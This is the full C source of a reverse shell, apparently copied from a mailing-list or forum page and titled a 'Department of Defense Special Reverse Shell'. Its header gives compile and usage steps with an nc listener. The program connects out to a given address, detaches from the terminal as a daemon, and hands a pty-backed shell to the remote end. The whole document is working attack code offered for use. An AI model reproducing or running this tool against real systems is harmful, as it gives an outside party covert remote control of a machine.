/* Department of Defense Special Reverse Shell in C * To compile: * cc -lutil 
-opittyshell pittyshell.c * To run: * ./pittyshell IP:v4or6:address port 
[/path/to/]shell [shell args] * Listen with nc on the other end for the shell. 
* Example: * Start nc in one window: $ nc -l ::1 34343 * Then in another 
window: $ ./pittyshell ::1 34343 /bin/sh */ #include <stdio.h> #include 
<fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> 
#include <netinet/in.h> #include <arpa/inet.h> #include <termios.h> #include 
<signal.h> /* forkpty() is declared in either util.h (for BSD) or pty.h (for 
Linux) */ #ifdef HAVE_UTIL_H #include <util.h> #endif #ifdef HAVE_PTY_H 
#include <pty.h> #endif int main(int argc, char **argv) { int k, m, n, af, pf, 
sock, devnull, shell, in, out, pid; pid_t terminal; FILE *sockfp; u_int16_t 
port; /* Call htons() to convert to network byte order. */ size_t 
sockstructlen; union { /* A union is the correct way to handle socket
 structures. */ struct sockaddr sock; struct sockaddr_in sock4; struct 
sockaddr_in6 sock6; } sockaddru; char *buf[8192]; memset(&sockaddru, 0, 
sizeof(sockaddru)); if (argc < 4) exit(1); sscanf(argv[2], "%hu", &port); if 
(strpbrk(argv[1], ".") != NULL) { /* IPv4 dotted quad */ af = AF_INET; pf = 
PF_INET; sockstructlen = sizeof(sockaddru.sock4); inet_pton(af, argv[1], 
&sockaddru.sock4.sin_addr); sockaddru.sock4.sin_port = htons(port); /* network 
byte order--big endian */ } else if (strpbrk(argv[1], ":") != NULL) { /* looks 
more like an IPv6 address. */ af = AF_INET6; pf = PF_INET6; sockstructlen = 
sizeof(sockaddru.sock6); inet_pton(af, argv[1], &sockaddru.sock6.sin6_addr); 
sockaddru.sock6.sin6_port = htons(port); /* There might be a few more things to 
do for IPv6 */ } else {/* We need to bail out here. */} 
sockaddru.sock.sa_family=af; /* This is valid for any address family. */ sock = 
socket(af, SOCK_STREAM, 0); if (sock < 0) exit(1); if (connect(sock,
 &sockaddru.sock, sockstructlen) != 0) exit(2); sockfp = fdopen(sock, "r+"); if 
(sockfp == NULL) exit(3); fprintf(sockfp, "%s", "Socket opened.  Closing STDIO 
file descriptors...\n"); fflush(sockfp); devnull = open("/dev/null", O_RDWR, 
0); if (devnull < 0 || dup2(devnull, STDIN_FILENO) < 0 || dup2(devnull, 
STDOUT_FILENO) < 0 || dup2(devnull, STDERR_FILENO) < 0 ) exit(4); 
fprintf(sockfp, "%s", "File descriptors closed.  Daemonizing...\n"); 
fflush(sockfp); if(fork() || (setsid(),fork())) _exit(0); fprintf(sockfp, "%s", 
"Daemonized.  Starting terminal...\n"); fflush(sockfp); terminal = 
forkpty(&shell, NULL, NULL, NULL); switch (terminal) { case 0: fprintf(stderr, 
"%s", "Terminal started.  Executing shell...\n"); execvp(argv[3], argv + 3); 
case (-1): fprintf(sockfp, "%s", "Failed to start shell.  Exiting...\n"); 
exit(5); } /* only the parent leaves the switch statement */ signal(SIGPIPE, 
SIG_IGN); fprintf(sockfp, "%s", "Forking for I/O...\n");
 fflush(sockfp); pid = fork(); if (pid < 0) { fprintf(sockfp, "%s", "Failed to 
fork for I/O.  Exiting...\n"); exit(6); } else if (pid == 0) in = sock, out = 
shell; else in = shell, out = sock; while (n = read(in, buf, 8192), n > 0) { 
for (m = 0; m < n; m += k) { k = write(out, buf + m, n - m); if (k < 1) break; 
} if (k < 1) break; } shutdown(sock, pid ? SHUT_WR : SHUT_RD); }

Reply via email to